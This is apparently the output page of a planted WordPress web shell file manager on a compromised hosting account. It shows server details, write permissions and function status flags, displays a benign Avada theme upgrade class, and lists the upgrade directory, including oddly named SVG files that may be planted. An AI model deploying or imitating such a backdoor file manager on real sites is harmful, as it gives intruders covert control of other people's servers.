✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ webm004.cluster127.gra.hosting.ovh.net ​🇻​♯➤ 6.18.42-ovh-vps-grsec-zfs+ #1 SMP 🇾​♯➤ 2026

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 54.36.91.62 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.216.191
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ _dyuweyrj4,_dyuweyrj4r,dl

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /home/docteuh/www/upgrade/wp-content/punycode/upgrade//class-avada-upgrade-780.php
<?php
/**
 * Upgrades Handler.
 *
 * @author     ThemeFusion
 * @copyright  (c) Copyright by ThemeFusion
 * @link       https://avada.com
 * @package    Avada
 * @subpackage Core
 */

// Do not allow directly accessing this file.
if ( ! defined( 'ABSPATH' ) ) {
	exit( 'Direct script access denied.' );
}

/**
 * Handle migrations for Avada 7.8
 *
 * @since 7.8
 */
class Avada_Upgrade_780 extends Avada_Upgrade_Abstract {

	/**
	 * The version.
	 *
	 * @access protected
	 * @since 7.8
	 * @var string
	 */
	protected $version = '7.8.0';

	/**
	 * An array of all available languages.
	 *
	 * @static
	 * @access private
	 * @since 7.7
	 * @var array
	 */
	private static $available_languages = [];

	/**
	 * The actual migration process.
	 *
	 * @access protected
	 * @since 7.8
	 * @return void
	 */
	protected function migration_process() {
		$available_languages       = Fusion_Multilingual::get_available_languages();
		self::$available_languages = ( ! empty( $available_languages ) ) ? $available_languages : [ '' ];

		$this->migrate_options();

		$this->update_forms();
		$this->set_builder_options();
	}

	/**
	 * Migrate options.
	 *
	 * @since 7.8
	 * @access protected
	 */
	protected function migrate_options() {
		$available_langs = self::$available_languages;

		$options = get_option( $this->option_name, [] );
		$options = $this->set_gallery_pagination_options( $options );
		$options = $this->set_page_template( $options );

		update_option( $this->option_name, $options );

		foreach ( $available_langs as $language ) {

			// Skip langs that are already done.
			if ( '' === $language ) {
				continue;
			}

			$options = get_option( $this->option_name . '_' . $language, [] );
			$options = $this->set_gallery_pagination_options( $options );
			$options = $this->set_page_template( $options );

			update_option( $this->option_name . '_' . $language, $options );
		}
	}

	/**
	 * Sets gallery paginations options.
	 *
	 * @param array $options The options.
	 * @since 7.8
	 */
	private function set_gallery_pagination_options( $options ) {
		$options['gallery_limit']                 = '-1';
		$options['gallery_pagination_type']       = 'button';
		$options['gallery_load_more_button_text'] = esc_html__( 'Load More', 'fusion-builder' );

		return $options;
	}

	/**
	 * Sets Page Template.
	 *
	 * @param array $options The options.
	 * @since 7.8
	 */
	private function set_page_template( $options ) {
		$options['page_template'] = 'site_width';

		return $options;
	}

	/**
	 * Update Form Options.
	 *
	 * @access private
	 * @since 7.8
	 */
	private function update_forms() {
		$args = [
			'posts_per_page' => 20,
			'post_type'      => 'fusion_form',
			'post_status'    => 'publish',
			'paged'          => 1,
		];

		// fix_for_patch_420551.
		$applied_patches = get_site_option( 'fusion_applied_patches', [] );
		$patch_applied   = ( in_array( 420551, $applied_patches, true ) );
		$release_date_77 = '2022-04-12';

		$posts = get_posts( $args );
		while ( $posts ) {

			foreach ( $posts as $post ) {
				$form_meta = get_post_meta( $post->ID, '_fusion', true );
				if ( ! is_array( $form_meta ) ) {
					$form_meta = [];
				}
				if ( isset( $form_meta['avada_78_upgrade'] ) ) {
					continue;
				}

				// if form type value is 'default' change it to 'post'.
				if ( isset( $form_meta['form_type'] ) && 'default' === $form_meta['form_type'] ) {
					$form_meta['form_type'] = 'post';
				}

				// If using post method and form Submission URL in URL action options has a value use this value as a post url.
				if ( 'post' === $form_meta['form_type'] && ! empty( $form_meta['action'] ) && empty( $form_meta['post_method_url'] ) ) {
					$form_meta['post_method_url'] = $form_meta['action'];
				}

				// Only if patch applied and the fix not applied before.
				if ( $patch_applied ) {
					if ( empty( $form_meta['avada_771_fix_upgrade'] ) ) {
						$form_publish_date = get_the_date( 'Y-m-d', $post->ID );

						// Apply only if form publish date after the release of 7.7 update.
						if ( $form_publish_date > $release_date_77 ) {
							if ( ! isset( $form_meta['form_actions'] ) ) {
								$form_meta['form_actions'] = [ 'database' ];
							}
							$form_meta['avada_771_fix_upgrade'] = true;
						}
					}
				}

				$form_meta['avada_78_upgrade'] = true;

				update_post_meta( $post->ID, '_fusion', $form_meta );
			}

			$args['paged']++;
			$posts = get_posts( $args );
		}
	}

	/**
	 * Sets builder options.
	 *
	 * @return void
	 */
	private function set_builder_options() {
		$options = get_option( 'fusion_builder_settings', [] );

		if ( isset( $options['enable_builder_ui_by_default'] ) ) {
			$options['enable_builder_ui_by_default'] = 'backend';
		}

		$options['remove_empty_attributes'] = 'off';

		update_option( 'fusion_builder_settings', $options );
	}

}


Current_dir [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
1 Jan 1970 1.00 AM
root / root
0
class-avada-upgrade-384.php
1.384 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-upgrade-385.php
1.773 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-upgrade-387.php
1.27 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-upgrade-390.php
1.27 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-upgrade-392.php
0.996 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-upgrade-400.php
0.722 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-upgrade-402.php
1.486 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-upgrade-403.php
1.001 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-upgrade-500.php
0.748 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-upgrade-503.php
0.968 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-upgrade-510.php
11.937 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-upgrade-515.php
0.663 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-upgrade-516.php
1.027 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-upgrade-520.php
6.049 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-upgrade-521.php
1.114 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-upgrade-530.php
7.661 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-upgrade-540.php
2.621 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-upgrade-541.php
0.68 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-upgrade-550.php
8.373 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-upgrade-551.php
2.621 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-upgrade-552.php
5.247 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-upgrade-560.php
5.117 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-upgrade-561.php
0.68 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-upgrade-562.php
0.68 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-upgrade-570.php
5.236 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-upgrade-571.php
0.882 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-upgrade-572.php
0.68 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-upgrade-580.php
3.93 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-upgrade-581.php
2.124 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-upgrade-582.php
1.157 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-upgrade-590.php
6.608 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-upgrade-591.php
5.676 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-upgrade-592.php
3.379 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-upgrade-600.php
4.372 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-upgrade-601.php
1.157 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-upgrade-602.php
1.157 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-upgrade-610.php
2.474 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-upgrade-611.php
2.451 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-upgrade-620.php
11.78 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-upgrade-622.php
2.551 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-upgrade-700.php
6.251 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-upgrade-710.php
3.136 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-upgrade-7100.php
2.127 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-upgrade-7110.php
2.751 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-upgrade-7113.php
2.131 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-upgrade-720.php
3.68 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-upgrade-730.php
2.463 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-upgrade-740.php
2.256 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-upgrade-750.php
7.912 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-upgrade-760.php
12.782 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-upgrade-770.php
7.635 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-upgrade-780.php
4.714 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-upgrade-781.php
1.553 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-upgrade-790.php
4.56 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-upgrade-abstract.php
4.278 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
icon-redirect-manager-20260827192224-20260829103532-20260829105142-20260901130505.svg
1.299 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
icon-redirect-manager-20260829050506-20260830004210-20260830004247-20260830005244-20260831202759.svg
1.299 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
icon-redirect-manager.svg
1.299 KB
23 Jun 2026 6.19 PM
docteuh / users
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF